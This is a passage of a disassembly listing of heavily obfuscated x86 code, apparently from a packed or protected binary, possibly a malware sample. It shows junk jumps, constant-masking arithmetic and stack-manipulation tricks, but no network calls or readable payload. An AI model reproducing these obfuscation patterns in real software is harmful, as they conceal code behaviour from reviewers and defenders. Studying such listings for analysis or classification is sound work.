; FUNCTION CHUNK AT 004247C6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C28E SIZE 00000011 BYTES
mov [esp+0], eax
pop eax
mov eax, edi
pop edi
xor [esi], edx
jmp loc_42C28E
sub_427D65 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429B81
loc_427D73: ; CODE XREF: sub_429B81+1Aj
xor eax, 56732BD7h
add eax, ebp
add eax, 571BCF5Eh
mov eax, [eax]
push offset sub_42B202
jmp nullsub_215
; END OF FUNCTION CHUNK FOR sub_429B81
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423EAE
loc_427D8D: ; CODE XREF: sub_423EAE:loc_42B2A4j
push ecx
mov esp, ebp
call sub_421457
rol edx, 13h
jmp sub_427FF5
; END OF FUNCTION CHUNK FOR sub_423EAE
; =============== S U B R O U T I N E =======================================
sub_427D9D proc near ; CODE XREF: sub_42A919:loc_424940p
; _94j21ax3:00429A40j
mov [esp+0], edi
pop edi
xor ebx, ebx
loc_427DA3: ; CODE XREF: sub_42AC2D+15j
mov eax, ebx
pop ecx
pop ebx
jmp nullsub_52
sub_427D9D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_427DAC: ; CODE XREF: sub_42169F+5A8Dj
rol eax, 18h
loc_427DAF: ; CODE XREF: sub_42169F:loc_42535Fj
mov eax, 0E0h
push esi
push 0C7553A98h
jmp loc_4243BF
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42191F
loc_427DBF: ; CODE XREF: sub_42191F:loc_421924j
call sub_42541E
pop edx
push eax
mov edx, 0FFFFFFFFh
push edx
jmp loc_42BC50
; END OF FUNCTION CHUNK FOR sub_42191F
; =============== S U B R O U T I N E =======================================
sub_427DD1 proc near ; DATA XREF: _94j21ax3:00429FCBo
or edx, edx
jz loc_42933E
sub_427DD1 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_42678A
loc_427DD9: ; CODE XREF: sub_42678A-2E9Bj
; sub_42678A+15j
jns loc_4277B8
add edx, 14h
call sub_42678A
; END OF FUNCTION CHUNK FOR sub_42678A
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_427DE7: ; CODE XREF: sub_428BBD-3731j
jmp loc_421DA4
; END OF FUNCTION CHUNK FOR sub_428BBD
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_49. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422CA6
loc_427DED: ; CODE XREF: sub_422CA6+8j
jmp loc_4259CA
; END OF FUNCTION CHUNK FOR sub_422CA6
; ---------------------------------------------------------------------------
loc_427DF2: ; DATA XREF: sub_424B76+Fo
cmp dword ptr [ebp-4], 0
jz loc_423F37
call nullsub_11
; START OF FUNCTION CHUNK FOR sub_423F55
loc_427E01: ; CODE XREF: _94j21ax3:004259BAj
; sub_423F55:loc_426694j
jz loc_42219C
jmp loc_426F7D
; END OF FUNCTION CHUNK FOR sub_423F55
; ---------------------------------------------------------------------------
sbb esi, edx
jmp loc_424AEA
; =============== S U B R O U T I N E =======================================
sub_427E13 proc near ; CODE XREF: _94j21ax3:004236C6j
; sub_4216D0+2764p
; FUNCTION CHUNK AT 0042136C SIZE 00000004 BYTES
; FUNCTION CHUNK AT 00421E1E SIZE 00000005 BYTES
mov [esp+0], edi
pop edi
add ebx, ebp
add ebx, 9CB7FBA9h
mov [ebx], edx
pop ebx
loc_427E22: ; CODE XREF: sub_421388:loc_425B22j
mov eax, [ebp-0Ch]
jmp loc_421E1E
sub_427E13 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428993
loc_427E2A: ; CODE XREF: sub_428993:loc_428D38j
add edx, edi
pop edi
mov eax, offset dword_422278
push edi
push 0C691DCCAh
pop edi
jmp loc_42391F
; END OF FUNCTION CHUNK FOR sub_428993
; ---------------------------------------------------------------------------
adc edi, esi
sub ebx, ecx
jmp sub_4239F1
; ---------------------------------------------------------------------------
ror edi, 0Ch
sub esi, ecx
jmp sub_428EBB
; ---------------------------------------------------------------------------
call sub_42A852
; START OF FUNCTION CHUNK FOR sub_42484C
loc_427E56: ; CODE XREF: sub_42484C+597Dj
cmp dword ptr [ebp-10h], 3
loc_427E5A: ; CODE XREF: sub_4272E9:loc_42A4BDj
jnb loc_42C1A3
mov eax, [ebp+8]
cmp dword ptr [eax-14h], 4
jnz loc_427AF8
jmp loc_4290D5
; END OF FUNCTION CHUNK FOR sub_42484C
; ---------------------------------------------------------------------------
loc_427E72: ; CODE XREF: _94j21ax3:loc_427979j
mov eax, [ebp-0Ch]
cmp byte ptr [eax], 0
jnz loc_425743
mov eax, [ebp-4]
mov [ebp-0Ch], eax
shl dword ptr [ebp-8], 8
; START OF FUNCTION CHUNK FOR sub_421047
loc_427E88: ; CODE XREF: sub_421047+46F7j
; _94j21ax3:0042BD84j
js loc_426BF7
call sub_4237DC
loc_427E93: ; DATA XREF: sub_42BF1B-9A0Eo
cmp byte ptr [eax], 0
jnz loc_427895
loc_427E9C: ; CODE XREF: sub_422F0A:loc_422F19j
js loc_4249F6
lea eax, [ebp-125h]
push eax
jmp loc_429B4B
; END OF FUNCTION CHUNK FOR sub_421047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423324
loc_427EAE: ; CODE XREF: sub_423324:loc_423440j
call sub_4250F7
loc_427EB3: ; CODE XREF: sub_4276A3:loc_4215F0j
jz loc_421A63
jmp loc_42A3CE
; END OF FUNCTION CHUNK FOR sub_423324
; =============== S U B R O U T I N E =======================================
sub_427EBE proc near ; DATA XREF: sub_428C49+1D3o
; FUNCTION CHUNK AT 004210FA SIZE 00000006 BYTES
call sub_42A3EE
test eax, eax
jz loc_4294BD
add eax, edx
xor eax, ebx
add eax, ecx
jmp loc_4210FA
sub_427EBE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421689
loc_427ED6: ; CODE XREF: sub_421689:loc_4236F3j
; _94j21ax3:loc_424DD2j
call sub_42C24F
loc_427EDB: ; CODE XREF: sub_428205+3268j
jmp loc_423E53
; END OF FUNCTION CHUNK FOR sub_421689
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C1AE
loc_427EE0: ; CODE XREF: sub_42C1AE-72CFj
jmp loc_424E99
; END OF FUNCTION CHUNK FOR sub_42C1AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_427668
loc_427EE5: ; CODE XREF: sub_427668-47Cj
jl nullsub_168
; END OF FUNCTION CHUNK FOR sub_427668
; START OF FUNCTION CHUNK FOR sub_42284F
loc_427EEB: ; CODE XREF: sub_42284F-1628j
; sub_42284F-161Fj ...
jnb loc_42A6E0
cmp dword ptr [ebp-4], 7
jnz loc_427BB3
jmp loc_422115
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423DB5
loc_427F00: ; CODE XREF: sub_423DB5+168Ej
add eax, edi
pop edi
loc_427F03: ; CODE XREF: _94j21ax3:00422533j
xchg eax, edx
push edx
xchg eax, edx
call sub_42BFF0
mov ds:dword_4256CC, eax
push offset sub_427CB6
jmp nullsub_106
; END OF FUNCTION CHUNK FOR sub_423DB5
; =============== S U B R O U T I N E =======================================
sub_427F1C proc near ; DATA XREF: _94j21ax3:00425638o
; FUNCTION CHUNK AT 004239BF SIZE 00000005 BYTES
push ebx
push eax
push esi
mov esi, ecx
jmp loc_4239BF
sub_427F1C endp
; ---------------------------------------------------------------------------
loc_427F26: ; DATA XREF: sub_42284F:loc_421F1Co
add esi, 60D9F5DAh
xchg esi, [esp]
jmp sub_4239A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421822
loc_427F34: ; CODE XREF: sub_421822+A08Fj
push ecx
loc_427F35: ; CODE XREF: _94j21ax3:00422A15j
sbb esi, 644F0284h
sub ecx, 54907529h
jmp loc_42C02B
; END OF FUNCTION CHUNK FOR sub_421822
; ---------------------------------------------------------------------------
loc_427F46: ; CODE XREF: _94j21ax3:004281CFj
push esi
push 0C29874DFh
pop esi
xor esi, 0DD18E099h
jmp loc_422E0E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4259BF
loc_427F58: ; CODE XREF: sub_4259BF:loc_425949j
not ebx
jmp loc_42AB10
; END OF FUNCTION CHUNK FOR sub_4259BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42220B
loc_427F5F: ; CODE XREF: sub_42220B+95EAj
jl loc_42AC6B
adc edx, esi
loc_427F67: ; CODE XREF: sub_42220B-E21j
add ebx, 8B57B684h
xchg ebx, [esp+8+var_8]
jmp loc_42AC28
; END OF FUNCTION CHUNK FOR sub_42220B
; ---------------------------------------------------------------------------
test al, al
jz loc_42A86F
jmp loc_42A837
; ---------------------------------------------------------------------------
sub ebx, edx
jmp sub_42AADB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4221B8
loc_427F89: ; CODE XREF: sub_4221B8+8941j
jno loc_42782E
shr eax, 1
shl eax, 11h
pushf
jmp loc_4271B5
; END OF FUNCTION CHUNK FOR sub_4221B8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B03C
loc_427F9A: ; CODE XREF: sub_42B03C:loc_424D53j
pop ecx
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_42B03C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428694
loc_427F9D: ; CODE XREF: sub_428694-1A21j
jmp sub_423278
; END OF FUNCTION CHUNK FOR sub_428694
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424902
loc_427FA2: ; CODE XREF: sub_424902+Fj
jmp loc_426642
; END OF FUNCTION CHUNK FOR sub_424902
; ---------------------------------------------------------------------------
loc_427FA7: ; CODE XREF: _94j21ax3:00424410j
jmp loc_42BBE9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B03C
loc_427FAC: ; CODE XREF: sub_42BFAD-8406j
; sub_42B03C+F5Fj
xor eax, eax
mov [ebp-8], eax
jmp loc_423BB4
; END OF FUNCTION CHUNK FOR sub_42B03C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4273AE
loc_427FB6: ; CODE XREF: sub_4273AE:loc_426BCFj
add edi, 1ED9596Ch
xchg edi, [esp+0]
jmp loc_42752B
; END OF FUNCTION CHUNK FOR sub_4273AE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421402
loc_427FC4: ; CODE XREF: sub_421402:loc_4282E1j
add eax, 0FE8D37B1h
mov eax, [eax]
push eax
call sub_429BE2
jmp loc_42280A
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
mov eax, [ebp-4]
pushf
mov [esp], eax
jmp loc_429BD0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_425790
loc_427FE3: ; CODE XREF: sub_425790:loc_42406Cj
ror eax, 19h
mov ds:dword_423418, eax
retn
; END OF FUNCTION CHUNK FOR sub_425790
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A9E7
loc_427FED: ; CODE XREF: sub_42A9E7:loc_427A9Aj
rol eax, 19h
jmp loc_429CA9
; END OF FUNCTION CHUNK FOR sub_42A9E7
; =============== S U B R O U T I N E =======================================
sub_427FF5 proc near ; CODE XREF: sub_423EAE+3EEAj
; sub_426744+3679p
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0042AB44 SIZE 00000004 BYTES
xchg ecx, [esp+0]
pop ecx
xchg edi, [esp-4+arg_0]
mov ebp, edi
mov edi, offset nullsub_10
jmp loc_42AB44
sub_427FF5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
shr esi, 5
jmp loc_4244A3
; ---------------------------------------------------------------------------
xchg edi, [ebp+0]
jmp sub_4273AE
; ---------------------------------------------------------------------------
jns loc_4267E8
add eax, 6A7FDAB7h
jmp sub_425808
; ---------------------------------------------------------------------------
loc_428029: ; DATA XREF: sub_42AB30-5DAEo
push 8F84FDC7h
pop edx
or edx, 0B4FB902Eh
test edx, 8000h
jmp loc_428B29
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423BF8
loc_428041: ; CODE XREF: sub_423BF8:loc_429E24j
or eax, eax
jnz loc_4286FD
call sub_42574E
mov edx, 0C231F698h
push edx
push 0FCA18E34h
pop edx
and edx, 8E696D28h
jmp loc_421EF0
; END OF FUNCTION CHUNK FOR sub_423BF8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428AE1
loc_428065: ; CODE XREF: sub_428AE1:loc_428AE7j
mov eax, [eax]
push edi
push 3C67FE88h
pop edi
jmp loc_428C2C
; END OF FUNCTION CHUNK FOR sub_428AE1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_428073: ; CODE XREF: sub_42284F:loc_426480j
and eax, 4EFF33C8h
sub eax, edx
push esi
jmp loc_423028
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42134B
loc_428081: ; CODE XREF: sub_42134B+8313j
lea eax, [ebp-20h]
push eax
call sub_42B83A
push esi
jmp loc_4292C0
; END OF FUNCTION CHUNK FOR sub_42134B
; =============== S U B R O U T I N E =======================================
sub_428090 proc near ; DATA XREF: sub_421047+8B09o
arg_0 = dword ptr 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jnz loc_423F5C
call sub_422B4F
loc_4280A2: ; CODE XREF: _94j21ax3:0042A039j
or ecx, 6238EBC2h
loc_4280A8: ; CODE XREF: sub_423917+3p
mov [esp+0], edx
pop edx
mov esp, ebp
mov ebp, offset loc_42BBBD
xchg ebp, [esp-4+arg_0]
retn
sub_428090 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ABB1
loc_4280B7: ; CODE XREF: sub_42ABB1-13Ej
jmp nullsub_179
; END OF FUNCTION CHUNK FOR sub_42ABB1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4237DC
loc_4280BC: ; CODE XREF: sub_4237DC+Aj
; sub_421047:loc_42A236j
call sub_4268C1
; END OF FUNCTION CHUNK FOR sub_4237DC
; START OF FUNCTION CHUNK FOR sub_423324
loc_4280C1: ; CODE XREF: sub_423324+7Fj
jmp nullsub_54
; END OF FUNCTION CHUNK FOR sub_423324
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421CAA
loc_4280C7: ; CODE XREF: sub_421CAA+15BFj
jl locret_427094
loc_4280CD: ; CODE XREF: sub_429163+4j
popf
loc_4280CE: ; CODE XREF: sub_421CAA:loc_426B97j
call sub_42191F
loc_4280D3: ; CODE XREF: sub_423C3E:loc_427144j
jnz loc_4225C8
jmp loc_42A327
; END OF FUNCTION CHUNK FOR sub_421CAA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4225A5
loc_4280DE: ; CODE XREF: sub_4225A5:loc_4266E6j
pop edi
retn
; END OF FUNCTION CHUNK FOR sub_4225A5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4266F6
loc_4280E0: ; CODE XREF: sub_4266F6+1C44j
push offset sub_42AFDF
jmp loc_427403
; END OF FUNCTION CHUNK FOR sub_4266F6
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C24F
loc_4280EB: ; CODE XREF: sub_42C24F+Ej
jmp loc_4214C7
; END OF FUNCTION CHUNK FOR sub_42C24F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_421D33
loc_4280F0: ; CODE XREF: sub_421D33+586Bj
jmp loc_421F05
; END OF FUNCTION CHUNK FOR sub_421D33
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_69. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
loc_4280F6: ; CODE XREF: _94j21ax3:00426802j
jmp loc_429743
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42169F
loc_4280FB: ; CODE XREF: sub_42169F+759Ej
call sub_42C057
test al, al
jz loc_424C9D
loc_428108: ; CODE XREF: _94j21ax3:00426758j
call sub_428118
retn
; END OF FUNCTION CHUNK FOR sub_42169F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42BBF9
loc_42810E: ; CODE XREF: sub_42BBF9-2DE4j
jmp sub_4239A5
; END OF FUNCTION CHUNK FOR sub_42BBF9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423B04
loc_428113: ; CODE XREF: sub_423B04+Ej
jmp locret_429377
; END OF FUNCTION CHUNK FOR sub_423B04
; =============== S U B R O U T I N E =======================================
sub_428118 proc near ; CODE XREF: sub_42169F:loc_428108p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00424194 SIZE 00000014 BYTES
push ecx
jmp loc_424194
sub_428118 endp
; ---------------------------------------------------------------------------
jbe loc_422FBF
jmp sub_42B052
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428993
loc_428129: ; CODE XREF: sub_428993:loc_42391Fj
or edi, 99CC8E06h
add edi, 2064E077h
xchg edi, [esp+18h+var_18]
jmp loc_42A690
; END OF FUNCTION CHUNK FOR sub_428993
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422EB0
loc_42813D: ; CODE XREF: sub_422EB0+4C1Fj
jnp loc_42A592
or edi, 2F74D85Ah
loc_428149: ; CODE XREF: sub_422EB0:loc_4212BAj
lea eax, [ebp-25Ch]
cmp dword ptr [eax], 4742444Fh
jz loc_42A566
jmp loc_428E48
; END OF FUNCTION CHUNK FOR sub_422EB0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42284F
loc_428160: ; CODE XREF: sub_42284F-1619j
jz loc_423575
jmp loc_421599
; END OF FUNCTION CHUNK FOR sub_42284F
; ---------------------------------------------------------------------------
mov edx, 9278ADE5h
call sub_422E59
; START OF FUNCTION CHUNK FOR sub_422436
loc_428175: ; CODE XREF: sub_422436+8j
jmp loc_42C393
; END OF FUNCTION CHUNK FOR sub_422436
; ---------------------------------------------------------------------------
loc_42817A: ; CODE XREF: _94j21ax3:004213BFj
sbb ebp, 9E40416h
; =============== S U B R O U T I N E =======================================
sub_428180 proc near ; CODE XREF: sub_423324:loc_427732p
; FUNCTION CHUNK AT 00427886 SIZE 0000000A BYTES
xchg ecx, [esp+0]
pop ecx
add edx, 2EFE6C2Dh
call sub_4271F1
loc_42818F: ; CODE XREF: sub_42780F+34C5j
jmp loc_427886
sub_428180 endp ; sp-analysis failed
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_115. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C0BC
loc_428195: ; CODE XREF: sub_42C0BC-45ADj
sub esi, ebx
shr ecx, 1Bh
xor edx, 0C9E81A11h
jmp loc_421A2E
; END OF FUNCTION CHUNK FOR sub_42C0BC
; =============== S U B R O U T I N E =======================================
sub_4281A5 proc near ; CODE XREF: _94j21ax3:0042245Dj
; sub_4224AD+3p ...
; FUNCTION CHUNK AT 00421492 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00422556 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 00425527 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004269E5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00427797 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00428B87 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428FF1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429339 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00429959 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A455 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A9A5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042C3D1 SIZE 00000005 BYTES
xchg ebx, [esp+0]
pop ebx
mov eax, [eax]
or eax, eax
jz loc_42C0AC
jmp loc_429959
sub_4281A5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B9CF
loc_4281B8: ; CODE XREF: sub_42B9CF:loc_426F30j
jnz loc_42BA4F
jmp loc_42A45A
; END OF FUNCTION CHUNK FOR sub_42B9CF
; ---------------------------------------------------------------------------
loc_4281C3: ; DATA XREF: sub_424B8F:loc_4281D4o
mov eax, [ebp-0Ch]
mov ecx, 3FBh
xor edx, edx
div ecx
jmp loc_427F46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424B8F
loc_4281D4: ; CODE XREF: sub_424B8F:loc_4299DBj
push offset loc_4281C3
jmp nullsub_81
; END OF FUNCTION CHUNK FOR sub_424B8F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_4281DE: ; CODE XREF: sub_42C057:loc_428D2Ej
jz loc_42AF16
jmp loc_425261
; END OF FUNCTION CHUNK FOR sub_42C057
; ---------------------------------------------------------------------------
cmp dword ptr [ebp-0Ch], 0
jz loc_4234F1
jmp loc_426A13
; ---------------------------------------------------------------------------
loc_4281F8: ; CODE XREF: _94j21ax3:0042A7F1j
sub esi, edi
jmp loc_42C175
; ---------------------------------------------------------------------------
loc_4281FF: ; CODE XREF: _94j21ax3:0042147Bj
jz loc_42751A
; =============== S U B R O U T I N E =======================================
sub_428205 proc near ; CODE XREF: sub_422866+40FDp
; FUNCTION CHUNK AT 004286EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B461 SIZE 00000011 BYTES
mov [esp+0], edi
pop edi
mov eax, [eax]
jmp loc_4286EA
sub_428205 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C24F
loc_428210: ; CODE XREF: sub_42C24F:loc_423F3Ej
xchg ebp, [edx]
jmp loc_421EE4
; END OF FUNCTION CHUNK FOR sub_42C24F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42270C
loc_428217: ; CODE XREF: sub_42270C+2F24j
adc edi, esi
and ecx, 763DF963h
jmp loc_423148
; END OF FUNCTION CHUNK FOR sub_42270C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_423FCD
loc_428224: ; CODE XREF: sub_423FCD:loc_426ACDj
add [esi], ecx
xor [esi], edx
mov eax, 80000003h
xor ebx, ebx
jmp loc_427921
; END OF FUNCTION CHUNK FOR sub_423FCD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_428234: ; CODE XREF: sub_428BBD+3204j
jns loc_42B45A
and edx, eax
cmp edx, 438F0E94h
jmp loc_4235EA
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42426B
loc_428247: ; CODE XREF: sub_42426B+6DBBj
push 0
push edi
push 71F6B658h
pop edi
xor edi, 71F6B658h
xchg edi, [esp+1Ch+var_1C]
jmp loc_421924
; END OF FUNCTION CHUNK FOR sub_42426B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4250F7
loc_42825F: ; CODE XREF: sub_4250F7+Ej
jmp loc_42B02B
; ---------------------------------------------------------------------------
loc_428264: ; CODE XREF: sub_4250F7-3992j
jmp nullsub_137
; END OF FUNCTION CHUNK FOR sub_4250F7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_424A57
loc_428269: ; CODE XREF: sub_424A57-B6Ej
mov ebx, [ecx]
jmp loc_429BA0
; END OF FUNCTION CHUNK FOR sub_424A57
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
cmp edx, esi
jmp loc_4296BC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42A268
loc_428278: ; CODE XREF: sub_42A268:loc_42435Fj
test edx, esi
jmp loc_423523
; END OF FUNCTION CHUNK FOR sub_42A268
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4287BF
loc_42827F: ; CODE XREF: sub_4287BF+Aj
popf
xchg edx, [esp-4+arg_0]
jmp loc_42160C
; END OF FUNCTION CHUNK FOR sub_4287BF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C057
loc_428288: ; CODE XREF: sub_42C057:loc_421CDBj
and esi, 0EAA56111h
call sub_429D9A
loc_428293: ; CODE XREF: _94j21ax3:0042A083j
jmp loc_4240CF
; END OF FUNCTION CHUNK FOR sub_42C057
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_428BBD
loc_428298: ; CODE XREF: sub_42A309+6j
jz loc_42547E
jmp loc_423212
; END OF FUNCTION CHUNK FOR sub_428BBD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429A83
loc_4282A3: ; CODE XREF: sub_429A83:loc_42654Cj
jz loc_423041
jmp loc_42206B
; END OF FUNCTION CHUNK FOR sub_429A83
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42875C
loc_4282AE: ; CODE XREF: sub_42875C:loc_42AEF5j
jz loc_4230A8
jmp loc_42A553
; END OF FUNCTION CHUNK FOR sub_42875C
; ---------------------------------------------------------------------------
loc_4282B9: ; CODE XREF: _94j21ax3:loc_42B083j
pop edx
and edx, 8F3C8810h
add edx, 752A26DEh
popf
xchg edx, [esp]
jmp sub_4247A2
; ---------------------------------------------------------------------------
loc_4282CF: ; CODE XREF: _94j21ax3:004299A0j
or eax, eax
jnz loc_42BF16
call sub_42574E
call sub_421126
; START OF FUNCTION CHUNK FOR sub_421402
loc_4282E1: ; CODE XREF: sub_421402+6FF9j
jmp loc_427FC4
; END OF FUNCTION CHUNK FOR sub_421402
; ---------------------------------------------------------------------------
loc_4282E6: ; CODE XREF: _94j21ax3:00427C11j
jmp locret_42693C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422A20
loc_4282EB: ; CODE XREF: sub_422A20:loc_4274B1j
jmp nullsub_55
; END OF FUNCTION CHUNK FOR sub_422A20
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_223. PRESS KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_98. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4271A0
loc_4282F2: ; CODE XREF: sub_4271A0:loc_4271A6j
jmp loc_42AEA5
; END OF FUNCTION CHUNK FOR sub_4271A0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42ABB1
loc_4282F7: ; CODE XREF: sub_42ABB1:loc_428F87j
xor edi, 9AD201D8h
xchg edi, [esp+0]
push eax
pushf
push 1AB621D1h
pop eax
xor eax, 1AB621C1h
call sub_425B77
loc_428313: ; CODE XREF: sub_42982D-7C05j
jmp loc_42AA6D
; END OF FUNCTION CHUNK FOR sub_42ABB1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_422FC8
loc_428318: ; CODE XREF: sub_422FC8:loc_4232E0j
mov edx, ebx
pop ebx
mov eax, offset loc_42BB50
xchg eax, [esp-4+arg_0]
retn
; END OF FUNCTION CHUNK FOR sub_422FC8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4266F6
loc_428324: ; CODE XREF: sub_4266F6+10j
or eax, 83CAA7E3h
sub eax, 30680610h
add eax, 3CBA6D19h
mov eax, [eax]
or eax, eax
jnz loc_4280E0
call sub_426612
jmp loc_42C5C1
; END OF FUNCTION CHUNK FOR sub_4266F6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_429862
loc_42834A: ; CODE XREF: sub_429862:loc_428FECj
mov eax, [ebp+var_4]
movzx eax, byte ptr [eax]
mov edx, [ebp+arg_0]
mov [edx-10h], eax
inc [ebp+var_4]
mov eax, [ebp+arg_0]
call sub_42484C
loc_428361: ; CODE XREF: sub_42284F:loc_42435Aj
or ecx, 14823B26h
loc_428367: ; CODE XREF: _94j21ax3:loc_422EFEj
jnb loc_423895
sbb edi, 7E2BF1ECh
xchg eax, [ebp+0]
jmp loc_426A34
; END OF FUNCTION CHUNK FOR sub_429862
; ---------------------------------------------------------------------------
loc_42837B: ; CODE XREF: _94j21ax3:004270FBj
sbb ebp, 0D97F23DDh
; =============== S U B R O U T I N E =======================================
sub_428381 proc near ; CODE XREF: sub_42A7A6+Ap
; FUNCTION CHUNK AT 00425313 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004256F0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A249 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042BE4B SIZE 0000002B BYTES
mov [esp+0], edx
pop edx
inc ds:dword_42343C
jmp loc_42BE4B
sub_428381 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42B238
